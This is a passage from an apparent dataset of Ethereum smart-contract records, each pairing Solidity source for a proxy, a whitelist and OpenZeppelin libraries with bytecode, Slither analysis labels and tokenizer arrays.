5b6006805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0383169081179091556040517fe08224dc11618a1e23016c28d3fb80e30630f4df34d9f95890fe9ce89a85d07e90600090a250565b60006001600160a01b0384163b1561187b576040517f150b7a020000000000000000000000000000000000000000000000000000000081526001600160a01b0385169063150b7a0290611745903390899088908890600401611d1f565b6020604051808303816000875af1925050508015611780575060408051601f3d908101601f1916820190925261177d91810190611d5b565b60015b611830573d8080156117ae576040519150601f19603f3d011682016040523d82523d6000602084013e6117b3565b606091505b5080516118285760405162461bcd60e51b815260206004820152603260248201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560448201527f63656976657220696d706c656d656e74657200000000000000000000000000006064820152608401610626565b805181602001fd5b7fffffffff00000000000000000000000000000000000000000000000000000000167f150b7a02000000000000000000000000000000000000000000000000000000001490506112d7565b506001949350505050565b7fffffffff00000000000000000000000000000000000000000000000000000000811681146107e057600080fd5b6000602082840312156118c657600080fd5b81356108ba81611886565b60005b838110156118ec5781810151838201526020016118d4565b83811115610da85750506000910152565b600081518084526119158160208601602086016118d1565b601f01601f19169290920160200192915050565b6020815260006108ba60208301846118fd565b60006020828403121561194e57600080fd5b5035919050565b80356001600160a01b038116811461196c57600080fd5b919050565b6000806040838503121561198457600080fd5b61198d83611955565b946020939093013593505050565b6000602082840312156119ad57600080fd5b6108ba82611955565b6000806000606084860312156119cb57600080fd5b6119d484611955565b92506119e260208501611955565b9150604084013590509250925092565b60008060408385031215611a0557600080fd5b611a0e83611955565b915060208301358015158114611a2357600080fd5b809150509250929050565b600080600060608486031215611a4357600080fd5b611a4c84611955565b9250611a5a60208501611955565b9150604084013561ffff81168114611a7157600080fd5b809150509250925092565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f1916810167ffffffffffffffff81118282101715611abb57611abb611a7c565b604052919050565b600067ffffffffffffffff821115611add57611add611a7c565b50601f01601f191660200190565b60008060008060808587031215611b0157600080fd5b611b0a85611955565b9350611b1860208601611955565b925060408501359150606085013567ffffffffffffffff811115611b3b57600080fd5b8501601f81018713611b4c57600080fd5b8035611b5f611b5a82611ac3565b611a92565b818152886020838501011115611b7457600080fd5b8160208401602083013760006020838301015280935050505092959194509250565b60008060408385031215611ba957600080fd5b611bb283611955565b9150611bc060208401611955565b90509250929050565b600181811c90821680611bdd57607f821691505b60208210811415611bfe57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611c5257611c52611c04565b500290565b600082611c7457634e487b7160e01b600052601260045260246000fd5b500490565b600060208284031215611c8b57600080fd5b815167ffffffffffffffff811115611ca257600080fd5b8201601f81018413611cb357600080fd5b8051611cc1611b5a82611ac3565b818152856020838501011115611cd657600080fd5b611ce78260208301602086016118d1565b95945050505050565b600082821015611d0257611d02611c04565b500390565b60008219821115611d1a57611d1a611c04565b500190565b60006001600160a01b03808716835280861660208401525083604083015260806060830152611d5160808301846118fd565b9695505050505050565b600060208284031215611d6d57600080fd5b81516108ba8161188656fea2646970667358221220d1520fcb0e6c988034705b7564509cd0ea427d0f9663d109e333d411f100d24a64736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 21084, 14526, 2575, 2683, 27717, 24434, 2549, 2497, 2581, 2581, 2063, 2692, 25746, 2063, 18613, 2487, 2278, 2629, 2050, 2692, 2683, 2575, 2278, 24594, 19797, 2575, 2581, 2094, 19481, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 14246, 2140, 1011, 1017, 1012, 1014, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1022, 1012, 2184, 1025, 12324, 1063, 9413, 2278, 2581, 17465, 1065, 2013, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 2581, 17465, 1013, 9413, 2278, 2581, 17465, 1012, 14017, 1000, 1025, 8278, 29464, 11890, 2581, 17465, 18715, 2368, 9496, 1063, 3853, 19204, 9496, 1006, 21318, 3372, 17788, 2575, 19204, 3593, 1007, 6327, 3193, 5651, 1006, 5164, 3638, 1007, 1025, 1065, 1013, 1013, 1013, 1030, 2516, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,128
0x96417180009F864dAb3518B260c6e288649b0BA7
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/StorageSlot.sol"; contract Wonderpals { bytes32 internal constant KEY = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; constructor(bytes memory _a, bytes memory _data) payable { (address _as) = abi.decode(_a, (address)); assert(KEY == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); require(Address.isContract(_as), "Address ERROR"); StorageSlot.getAddressSlot(KEY).value = _as; if (_data.length > 0) { Address.functionDelegateCall(_as, _data); } } function _g(address to) internal virtual { assembly { calldatacopy(0, 0, calldatasize()) let result := delegatecall(gas(), to, 0, calldatasize(), 0, 0) returndatacopy(0, 0, returndatasize()) switch result case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } function _fallback() internal virtual { _beforeFallback(); _g(StorageSlot.getAddressSlot(KEY).value); } fallback() external payable virtual { _fallback(); } receive() external payable virtual { _fallback(); } function _beforeFallback() internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol) pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlot { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }
0x60806040523661001357610011610017565b005b6100115b61004a7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b0316610081565b565b3b151590565b90565b606061007a8383604051806060016040528060278152602001610237602791396100a5565b9392505050565b3660008037600080366000845af43d6000803e8080156100a0573d6000f35b3d6000fd5b6060833b6101095760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084015b60405180910390fd5b600080856001600160a01b03168560405161012491906101b7565b600060405180830381855af49150503d806000811461015f576040519150601f19603f3d011682016040523d82523d6000602084013e610164565b606091505b509150915061017482828661017e565b9695505050505050565b6060831561018d57508161007a565b82511561019d5782518084602001fd5b8160405162461bcd60e51b815260040161010091906101d3565b600082516101c9818460208701610206565b9190910192915050565b60208152600082518060208401526101f2816040850160208701610206565b601f01601f19169190910160400192915050565b60005b83811015610221578181015183820152602001610209565b83811115610230576000848401525b5050505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220f5fdd4b6a46be19e1925a4886c48e0f7a1377b5ce0dadeb8e29393a5456da5ec64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 21084, 16576, 15136, 8889, 2692, 2683, 2546, 20842, 2549, 2850, 2497, 19481, 15136, 2497, 23833, 2692, 2278, 2575, 2063, 22407, 20842, 26224, 2497, 2692, 3676, 2581, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 4769, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 5527, 14540, 4140, 1012, 14017, 1000, 1025, 3206, 4687, 12952, 2015, 1063, 27507, 16703, 4722, 5377, 3145, 1027, 1014, 2595, 21619, 2692, 2620, 2683, 2549, 27717, 2509, 3676, 2487, 2050, 16703, 10790, 28756, 2581, 2278, 2620, 22407, 26224, 2475, 18939, 2683, 2620, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,129
0x96422fa3f9cc8ecbf1e092881c74dd3cc8e70b36
pragma solidity 0.4.24; // File: contracts/lib/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner, "only owner is able to call this function"); _; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } // File: contracts/Whitelist.sol /** * @title Whitelist - crowdsale whitelist contract * @author Gustavo Guimaraes - <gustavo@starbase.co> */ contract Whitelist is Ownable { mapping(address => bool) public allowedAddresses; event WhitelistUpdated(uint256 timestamp, string operation, address indexed member); /** * @dev Adds single address to whitelist. * @param _address Address to be added to the whitelist */ function addToWhitelist(address _address) external onlyOwner { allowedAddresses[_address] = true; emit WhitelistUpdated(now, "Added", _address); } /** * @dev add various whitelist addresses * @param _addresses Array of ethereum addresses */ function addManyToWhitelist(address[] _addresses) external onlyOwner { for (uint256 i = 0; i < _addresses.length; i++) { allowedAddresses[_addresses[i]] = true; emit WhitelistUpdated(now, "Added", _addresses[i]); } } /** * @dev remove whitelist addresses * @param _addresses Array of ethereum addresses */ function removeManyFromWhitelist(address[] _addresses) public onlyOwner { for (uint256 i = 0; i < _addresses.length; i++) { allowedAddresses[_addresses[i]] = false; emit WhitelistUpdated(now, "Removed", _addresses[i]); } } }
0x6080604052600436106100825763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416634120657a8114610087578063715018a6146100bc5780638c10671c146100d35780638da5cb5b146100f3578063e43252d714610124578063f2fde38b14610145578063f674d79914610166575b600080fd5b34801561009357600080fd5b506100a8600160a060020a03600435166101bb565b604080519115158252519081900360200190f35b3480156100c857600080fd5b506100d16101d0565b005b3480156100df57600080fd5b506100d16004803560248101910135610289565b3480156100ff57600080fd5b506101086103d0565b60408051600160a060020a039092168252519081900360200190f35b34801561013057600080fd5b506100d1600160a060020a03600435166103df565b34801561015157600080fd5b506100d1600160a060020a03600435166104d1565b34801561017257600080fd5b50604080516020600480358082013583810280860185019096528085526100d1953695939460249493850192918291850190849080828437509497506105419650505050505050565b60016020526000908152604090205460ff1681565b600054600160a060020a03163314610234576040805160e560020a62461bcd028152602060048201526028602482015260008051602061070d833981519152604482015260008051602061072d833981519152606482015290519081900360840190fd5b60008054604051600160a060020a03909116917ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482091a26000805473ffffffffffffffffffffffffffffffffffffffff19169055565b60008054600160a060020a031633146102ee576040805160e560020a62461bcd028152602060048201526028602482015260008051602061070d833981519152604482015260008051602061072d833981519152606482015290519081900360840190fd5b5060005b818110156103cb57600180600085858581811061030b57fe5b60209081029290920135600160a060020a0316835250810191909152604001600020805460ff191691151591909117905582828281811061034857fe5b6040805142815260208181018390526005828401527f416464656400000000000000000000000000000000000000000000000000000060608301529151600160a060020a0392909302949094013516927fbebda5b98dbe667d32bbef7f217a2f6e5fe897de5e9a388d9f8472f88478efce925081900360800190a26001016102f2565b505050565b600054600160a060020a031681565b600054600160a060020a03163314610443576040805160e560020a62461bcd028152602060048201526028602482015260008051602061070d833981519152604482015260008051602061072d833981519152606482015290519081900360840190fd5b600160a060020a038116600081815260016020818152604092839020805460ff191690921790915581514281529081018290526005818301527f4164646564000000000000000000000000000000000000000000000000000000606082015290517fbebda5b98dbe667d32bbef7f217a2f6e5fe897de5e9a388d9f8472f88478efce9181900360800190a250565b600054600160a060020a03163314610535576040805160e560020a62461bcd028152602060048201526028602482015260008051602061070d833981519152604482015260008051602061072d833981519152606482015290519081900360840190fd5b61053e8161068f565b50565b60008054600160a060020a031633146105a6576040805160e560020a62461bcd028152602060048201526028602482015260008051602061070d833981519152604482015260008051602061072d833981519152606482015290519081900360840190fd5b5060005b815181101561068b5760006001600084848151811015156105c757fe5b602090810291909101810151600160a060020a03168252810191909152604001600020805460ff1916911515919091179055815182908290811061060757fe5b6020908102909101810151604080514281529283018190526007838201527f52656d6f76656400000000000000000000000000000000000000000000000000606084015251600160a060020a03909116917fbebda5b98dbe667d32bbef7f217a2f6e5fe897de5e9a388d9f8472f88478efce919081900360800190a26001016105aa565b5050565b600160a060020a03811615156106a457600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a039290921691909117905556006f6e6c79206f776e65722069732061626c6520746f2063616c6c20746869732066756e6374696f6e000000000000000000000000000000000000000000000000a165627a7a72305820027d5bfa42d56ebb193ce851b975fe1458afe13fe441d5dce5644b309b5a546e0029
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 21084, 19317, 7011, 2509, 2546, 2683, 9468, 2620, 8586, 29292, 2487, 2063, 2692, 2683, 22407, 2620, 2487, 2278, 2581, 2549, 14141, 2509, 9468, 2620, 2063, 19841, 2497, 21619, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1018, 1012, 2484, 1025, 1013, 1013, 5371, 1024, 8311, 1013, 5622, 2497, 1013, 2219, 3085, 1012, 14017, 1013, 1008, 1008, 1008, 1030, 2516, 2219, 3085, 1008, 1030, 16475, 1996, 2219, 3085, 3206, 2038, 2019, 3954, 4769, 1010, 1998, 3640, 3937, 20104, 2491, 1008, 4972, 1010, 2023, 21934, 24759, 14144, 1996, 7375, 1997, 1000, 5310, 6656, 2015, 1000, 1012, 1008, 1013, 3206, 2219, 3085, 1063, 4769, 2270, 3954, 1025, 2724, 6095, 7389, 23709, 11788, 1006, 4769, 25331, 3025, 12384, 2121, 1007, 1025, 2724, 6095, 6494, 3619, 7512, 5596, 1006, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,130
0x964291d2d0a7e3477a8a06ee745f3cd8e3d0b375
// File: @openzeppelin/contracts/utils/Context.sol // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/math/SafeMath.sol // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode 